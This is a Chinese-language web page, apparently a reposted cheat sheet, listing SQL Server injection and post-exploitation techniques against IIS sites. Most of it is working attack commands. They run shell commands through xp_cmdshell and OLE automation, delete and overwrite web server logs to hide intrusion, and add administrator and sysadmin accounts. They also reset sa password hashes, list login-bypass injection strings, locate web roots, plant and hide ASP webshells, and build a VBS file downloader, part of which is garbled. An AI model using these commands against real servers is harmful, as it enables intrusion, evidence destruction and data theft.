SQL下三种执⾏CMD命令的⽅法
SQL下三种执⾏CMD命令的⽅法:
先删除7.18号⽇志:
(1)exec master.dbo.xp_cmdshell 'del C:/winnt/system32/logfiles/W3SVC5/ex050718.log >c:/'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate
'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,' /c del C:/winnt/system32/logfiles/W3SVC5/ex050718.log
>c:/','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/' WHILE
@shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty
@file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)⾸先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,⽽xp_regwrite⾄少需要DB_OWNER权限,为了⽅便,这⾥建议使⽤sysadmin权限测试:
p_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',1
注:
0 禁⽌⼀切(默认)
1 使能访问ACCESS,但是禁⽌其它
2 禁⽌访问ACCESS,但是使能其他
3 使能⼀切
这⾥仅给出sysadmin权限下使⽤的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/ias.mdb','select shell(" /c net user admin admin1234
/add")')
建⽴链接数据库'L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:/windows/system32/ias/ias.mdb'
如何使⽤链接数据库:
使⽤这个⽅式可以执⾏,但是很不幸,DB_OWNER权限是不够的,需要⾄少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使⽤,
⼀般没有哪个管理员这么设置普通帐户权限的
实⽤性不强,仅作为⼀个学习总结吧
⼤致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个⽤户setupadmin+securityadmin权限,使⽤ias.mdb失败
需要⼀个⼀般⽤户可访问的mdb才可以:
新建链接服务器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:/winnt/system32/ias/ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack',' 'false'';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell(" /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','false';--
exec sp_dropserver 'L0op8ack';--
再考贝⼀个其它⽂件来代替7.18⽇⽂件:
(1)exec master.dbo.xp_cmdshell 'copy C:/winnt/system32/logfiles/W3SVC5/ex050716.log
C:/winnt/system32/logfiles/W3SVC5/ex050718.log>c:/'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate
'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,' /c copy C:/winnt/system32/logfiles/W3SVC5/ex050716.log
C:/winnt/system32/logfiles/W3SVC5/ex050718.log>c:/','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate
'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,' /c net user>c:/','0','true' EXEC sp_oacreate
'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/' WHILE @shell>0 BEGIN EXEC sp_oamethod
@file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 ⽤UPDATE来更新表中的数据:
upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www⽤户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为
10、 利⽤表内容导成⽂件功能
SQL有BCP命令,它可以把表的内容导成⽂本⽂件并放到指定位置。利⽤这项功能,我们可以先建⼀张临时表,然后在表中⼀⾏⼀⾏地输⼊⼀个ASP⽊马,然后⽤BCP命令导出形成ASP⽂件。
命令⾏格式如下:
bcp "select * from temp " queryout c:/inetpub/wwwroot/runcommand.asp –c –S localhost –U sa –P upload('S'参数为执⾏查询的服务器,'U'参数为⽤户名,'P'参数为密码,最终上传了⼀个runcommand.asp的⽊马)。
11、创建表、播⼊数据和读取数据的⽅法
创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
往表⾥播⼊数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into cyfd (gyfd)
values(@result);--
从表⾥读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--
删除临时表:
';drop table cyfd;--
12、通过SQL语句直接更改sa的密码:
update master.dbo.sysxlogins set
password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的⽅法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
查看本机所有的数据库⽤户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins
更改sa⼝令⽅法:⽤sql综合利⽤⼯具连接后,执⾏命令:
exec sp_password NULL,'新密码','sa'
13、查询dvbbs库中所有的表名和表结构:
select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
select * from dvbbs.dbo.syscolumns where id=1426104121
14、⼿⼯备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备份:
;
declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和删除⼀个SA权限的⽤户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
< /c isql -E /U alma /P /i K:/test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的⽤户建⽴的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、
* from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978
19、绕过登录验证进⼊后台的⽅法整理:
1) ' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) ⼈⽓%’ and 1=1 and ’%’=’
20、寻⽹站路径的⽅法汇总:
1)查看WEB⽹站安装⽬录命令:
cscript c:/inetpub/adminscripts/adsutil.vbs enum w3svc/2/root >c:/ (将2换成1、3、4、5试试)
type c:/
del c:/
在NBSI下可以直接显⽰运⾏结果,所以不⽤导出到⽂件
2)在⽹站上随便到⼀个图⽚的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:/
e:
dir 123.jpg /s >>c:/
f:
dir 123.jpg /s >>c:/
执⾏后 type c:/
这样来分析⽹站的路径
3)SQL服务器和⽹站服务器在同⼀个服务器上,好了是可以执⾏命令是吧?
将执⾏命令输出结果到
%windir%/help/iishelp/common/404b.htm或者500.asp
注意输出前Backup这两个⽂件
如:
dir c:/ >%windir%/help/iishelp/common/404b.htm
然后随便输⼊⼀个⽂件来访问:⽬标ip/2.asp
4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots 获取WEB路径2003系统:xp_regread读取,未到⽅法
如:
(1) 新建⼀个表cyfd(字段为gyfd):wwwwill/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路径写进去:wwwwill/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into cyfd (gyfd)
values(@result);--
(3) 还是让他不匹配,显⽰错误:wwwwill/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:/Web/烟台⼈才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发⽣语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:wwwwill/NewsShow.aspx?id=4844;drop table cyfd;--
5)⽤regedit命令导出注册表,将导出的结果保存的路径到%windir%/help/iishelp/common/404b.htm或者500.asp页⾯
regedit命令说明:
Regedit /L:system /R:user / Regpath
参数含义:
/L:system指定System.dat⽂件所在的路径。
/R:user指定User.dat⽂件所在的路径。
/E:此参数指定注册表编辑器要进⾏导出注册表操作,在此参数后⾯空⼀格,输⼊导出注册表的⽂件名。
Regpath:⽤来指定要导出哪个注册表的分⽀,如果不指定,则将导出全部注册表分⽀。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使⽤这两个参数,注册表编辑器则认为是对WIND
OWS⽬录下的"system.dat"和"user.dat"⽂件进⾏操作。如果是通过从软盘启动并进⼊DOS,那么就必须使⽤"/L"和"/R"参数来指定"system.dat"和"user.dat"⽂件的具体路径,否则注册表编辑器将⽆法到它们。⽐如说,如果通过启动盘进⼊DOS,则备份注册表的命令是"Regedit
/L:C:/windows//R:C:/windows//",该命令的意思是把整个注册表备份到WINDOWS⽬录下,其⽂件名为""。⽽如果输⼊的是"regedit /E
D:/"这条命令,则是说把整个注册表备份到D盘的根⽬录下(省略了"/L"和"/R"参数),其⽂件名为""。
regedit /s c:/ (导⼊c:/⽂件⾄注册表)
regedit /e c:/ (备份全部注册内容到c:/中)
针对win2000系统:C:/>regedit /e %windir%/help/iishelp/common/404b.htm
"HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots"
然后⽬标IP/2.asp
针对win2003系统:没有到,希望到的朋友公布出来⼀起讨论。
6)虚拟主机下%SystemRoot%/system32/inetsrv/MetaBack/下的⽂件是iis的备份⽂件,是允许web⽤户访问的,如果你的iis备份到这⾥,⽤webshell下载下来后⽤
记事本打开,可以获取对应的域名和web绝对路径。
7)SQL注⼊建⽴虚拟⽬录,有dbo权限下不到web绝对路径的⼀种解决办法:
我们很多情况下都遇到SQL注⼊可以列⽬录和运⾏命令,但是却很不容易到web所在⽬录,也就不好得到⼀个webshell,这⼀招不错:
建⽴虚拟⽬录win,指向c:/winnt/system32:exec master.dbo.xp_cmdshell 'cscript C:/inetpub/AdminScripts/mkwebdir.vbs -c localhost -w "l" -v "win","c:/winnt/system32"'
让win⽬录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:/inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
删除虚拟⽬录win:exec master.dbo.xp_cmdshell 'cscript C:/inetpub/AdminScripts/adsutil.vbs delete w3svc/1/root/win/'
测试:127.0.0.1/win/test.asp
8)利⽤SQL语句来查WEB⽬录:根据经验,猜疑WEB根⽬录的顺序是:d盘、e盘、c盘,⾸先我们建⽴⼀个临时表⽤于存放p_dirtree(适合于public)⽣成的⽬录树,⽤以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表⽰⽬录的名称,depth字段表⽰⽬录的深度。然后执⾏xp_dirtree获得D盘的⽬录树,语句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--
在进⾏下⾯的操作前,先查看D盘有⼏个⽂件夹,这样对D盘有个⼤致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume
Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)
接着,我们在对⽅的⽹站上⼏个⼀级⼦⽬录,如user、photo,然后,⽤筛选的⽅法来判断WEB根⽬录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)
看语句的返回结果,如果为真,表⽰WEB根⽬录有可能在此盘上,为了进⼀步确认,多测试⼏个⼦⽬录:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
...
如果所有的测试结果都为真,表⽰WEB根⽬录很有可能在此盘上。
下⾯假设到的WEB根⽬录在此盘上,⽤以下的语句来获得⼀级⼦⽬录的深度:
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)
假设得到的depth是3,说明user⽬录是D盘的3级⽬录,则WEB根⽬录是D盘的⼆级⽬录。
⽬前我们已经知道了根⽬录所在的盘符和深度,要到根⽬录的具体位置,我们来从D盘根⽬录开始逐⼀搜寻,当然,没有必要知道每个⽬录的名称,否则太耗费时间了。
接下来,另外建⽴⼀个临时表,⽤来存放D盘的1级⼦⽬录下的所有⽬录,语句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把从D盘的第⼀个⼦⽬录下的所有⽬录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname='d:/'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第⼆个⼦⽬录下的所有⽬录存到temp1中,只需把第⼆个top 1改为top 2就⾏了。
现在,temp1中已经保存了所有D盘第⼀级⼦⽬录下的所有⽬录,然后,我们⽤同样的⽅法来判断根⽬录是否在此⼀级⼦⽬录下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回为真,表⽰根⽬录可能在此⼦⽬录下,记住要多测试⼏个例⼦,如果都返回为假,则表明WEB根⽬录不在此⽬录下,然后我们在⽤同样的⽅法来获得D盘第2、3...个⼦⽬录下的所有⽬录列表,来判断WEB根⽬录是否在其下。但是,要注意,⽤xp_dirtree前⼀定要把temp1表中的内容删除。
现在假设,WEB根⽬录在D盘的第⼀级⼦⽬录下,该⼦⽬录名称为website,怎样获得这个⽬录的名称我想不⽤我说了吧。因为前⾯我们知道了WEB根⽬录的深度为2,我们需要知道website下到底哪个才是真
正的WEB根⽬录。
现在,我们⽤同样的⽅法,再建⽴第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把从D盘的website下的所有⽬录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname='d:/website/'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not
in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第⼆个⼦⽬录下的所有⽬录存到temp2中,只需把第⼆个top 1改为top 2就⾏了。
现在,我们⽤同样的⽅法判断该⽬录是否为根⽬录:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试⼏个例⼦,⽅法上⾯都讲到了,如果多个例⼦都返回为真,那么就确定了该⽬录为WEB根⽬录。
⽤以上的⽅法基本上可以获得WEB根⽬录,现在我们假设WEB根⽬录是:D:/website/www
然后,我们就可以备份当前数据库到这个⽬录下⽤来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的⽬录树分别存到temp、temp1、temp2
中。
下载完数据库后要记得把三个临时表DROP掉,现在我们在下载的数据库中可以到所有的⽬录列表,包括后台管理的⽬录以及更多信息。
21、win2000下将WEB⽤户提升为系统⽤户权限,需要有管理员的权限才能执⾏:
c:/>cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll"
"C:/winnt/system32/inetsrv/asp.dll"
cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/windows/system32/idq.dll" "C:/windows/system32/inetsrv/httpext.dll" "C:/windows/system32/inetsrv/httpodbc.dll" "C:/windows/system32/inetsrv/ssinc.dll" "C:/windows/system32/msw3prt.dll"
"C:/windows/system32/inetsrv/asp.dll"
查看是否成功:
c:/>cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
inprocessisapiapps : (LIST) (6 Items)
"C:/WINNT/system32/idq.dll"
"C:/WINNT/system32/inetsrv/httpext.dll"
"C:/WINNT/system32/inetsrv/httpodbc.dll"
"C:/WINNT/system32/inetsrv/ssinc.dll"
"C:/WINNT/system32/msw3prt.dll"
"c:/winnt/system32/inetsrv/asp.dll"
22、如何隐藏ASP⽊马:
建⽴⾮标准⽬录:mkdir images../
拷贝ASP⽊马⾄⽬录:copy c:/inetpub/wwwroot/dbm6.asp c:/inetpub/wwwroot/images../news.asp
通过web访问ASP⽊马:ip/images../news.asp?action=login
如何删除⾮标准⽬录:rmdir images../ /s
23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
24、⽤echo写⼊⽂件下载脚本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.sponseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:/iget.vbs (2)c:/>cscript iget.vbs dbm6.asp
进入注册表命令25、⼿⼯建⽴IIS隐藏⽬录的⽅法:
查看本地虚拟⽬录列表: c:/inetpub/AdminScripts/adsutil.vbs enum w3svc/1/root
新建⼀个kiss⽬录:mkdir c:/asp/kiss
建⽴kiss虚拟⽬录: c:/inetpub/AdminScripts/mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:/asp/kiss"
为kiss⽬录加执⾏和写权限:
< c:/inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
< c:/inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
?:Cscript c:/inetpub/AdminScripts/adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
访问:127.0.0.1/kiss/test.asp
26、使⽤openrowset()连回本地做测试:
SELECT a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a
SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]')
27、获得主机名:
and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername
28、获得数据库⽤户名:
and 1=convert(int,system_user)--
and user>0
select user
29、普通⽤户获得WEBSHELL的⽅法之⼆:
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论